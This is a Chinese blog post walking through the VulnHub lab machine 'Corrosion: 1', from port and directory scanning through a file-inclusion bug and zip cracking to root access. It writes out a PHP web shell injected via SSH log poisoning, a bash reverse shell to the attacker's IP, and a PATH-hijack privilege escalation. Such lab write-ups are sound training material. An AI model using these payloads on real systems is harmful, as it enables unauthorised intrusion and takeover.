vulnhub靶机corrosion1

靶机下载地址:Corrosion: 1 ~ VulnHub

Kail IP:192.168.174.128

Corrosion ip:192.168.174.133

思路:

  • 靶机端口扫描,
  • ssh日志反弹shell,
  • linpeas脚本扫描,
  • 备份文件发现密码,
  • 爆破zip压缩包,
  • 修改环境变量提权。

一、信息搜集

靶机ip发现

nmap端口扫描

目录发现,这里使用的是dirsearch,发现只有一个任务目录

python dirsearch.py -u http://192.168.174.133

查看task,发现作者留下的有三个挑战任务

# Tasks that need to be completed

1. Change permissions for auth log

2. Change port 22 -> 7672

3. Set up phpMyAdmin

二、ssh日志反弹shell

先做任务1,更改身份验证日志的权限

这里使用的dirsearch字典不够用,没找到做题思路,这里使用gobuster进行扫描,使用的是seclists下的字典

gobuster dir -u http://192.168.174.133 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

seclists字典下载命令是apt-get install seclists

gobuster下载;apt-get install gobuster

如果不能下载就需要先更新apt-get update

gobuster扫描结果如下

这里就扫描到了另外一个目录,进入查看,发现这个人交randy

这里再对192.168.174.133/blog-post/进行扫描

在archives中发现一个php文件

192.168.174.133/blog-post/archives/randylogs.php 发现什么都没有

这里php可能存在文件泄露,这里来检测一下是否有文件泄露,使用ffuf来枚举参数

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.174.133/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

这里介绍一下参数

-c是彩色打印 -w是字典 -u是url -fs是不输出返回大小为0的值

这里知道参数是file之后开始进行文件读取

发现能读取/etc/passwd但是不能读取/etc/shadow

根据我们的三个任务 第一个是auth.log

这个文件是用来记录ssh登录的一个文件

所在目录为/var/log/auth.log

查看这个文件

这里可以看到ssh登录的日志信息

这里使用ssh一个任意名称进行连接,然后再去查看一下日志信息,看他的记录情况

可以看到这里记录了我的登录名称和我的ip

这里尝试写入一个恶意代码

ssh ‘<?php system($_GET[“cmd”]); ?>’@192.168.174.133

密码直接回车报错就行

查看日志文件

192.168.174.133/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

配合我们输入的一句话,变量名为cmd,输入id等于cmd进行命令执行查看当前用户

发现有id指令的信息返回

接着使用bash反弹shell

bash -c "bash -i >& /dev/tcp/192.168.174.128/6666 0>&1"

将命令进行url编码后进行访问

192.168.174.133/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=bash -c %27bash -i %26%2Fdev%2Ftcp%2F192.168.174.128%2F6666 0>%261%27

nc进行监听6666端口

可以看到shell已经反弹

三、提权

查看有没有suid权限的命令

find / -perm -u=s -type f 2>/dev/null

发现有很多命令,先使用脚本来扫描一下

这个脚本非常厉害,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多,下载连接

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

python开启服务,然后在靶机下载linpeas脚本开启扫描

切换到tmp目录,wget下载脚本,chmod赋予执行权限

开始扫描

这里扫描到了一个cve提权漏洞,但是下载运行发现靶机不能使用make命令,所以没成功

看了大福师傅的视频,想着自己扫到漏洞想自己做一下,看来还是得按着师傅的思路来

这里查看var下的备份目录backups

其中返现user压缩包  这里尝试解压失败,需要密码,python开启服务,下载到kali进行解压破解

python3 -m http.server 8888

下载后提取压缩包的hash

可以使用john计算hash文件得到密码

这里尝试john了但是真的好慢,还是使用专业的吧(所谓术业有专攻)

也可以使用专门针对zip的的工具fcrackzip,使用的命令是

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

-D是使用自己的字典,-p是使用的字典 -u是要破解的zip压缩包

速度非常快

我们现在得到了密码

使用unzip user_backup.zip

解压缩得到三个文件,这里包括公钥和密码等

查看一下c脚本

尝试使用ssh登录,之前在博客主页发现姓名叫randy

发现ssh登录使用不适用私钥都一样可以登录

查看randy的权限

查看一下这个easysysinfo

发现是可执行文件,执行查看

观察发现这些输出,刚好就是我们解压文件后得到的源码

这里尝试修改环境变量替换cat

命令:

cd /tmp

touch cat

echo ‘/bin/bash -p’ > cat

chmod u+x cat

cat cat

设置环境变量,优先加载tmp目录下的cat,不成功后再执行原来的cat

export PATH=/tmp:$PATH

查看环境变量,发现设置成功

再次执行easyinfosys脚本

这时候使用的cat就是我们写的tmp目录下在cat了

发现已经变为root权限,切换到root目录,使用vim或者nano查看flag

结尾推荐一下b站大福师傅的课

再分析一篇在Linux中使用环境变量进行提权 - FreeBuf网络安全行业门户

这个靶机的提权对应这个文章的方法三

差不多一个月,从开始到入门,也是打了15台靶机了,这周写一篇总结,总结一下在vulnhub靶机中所学到的知识吧。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值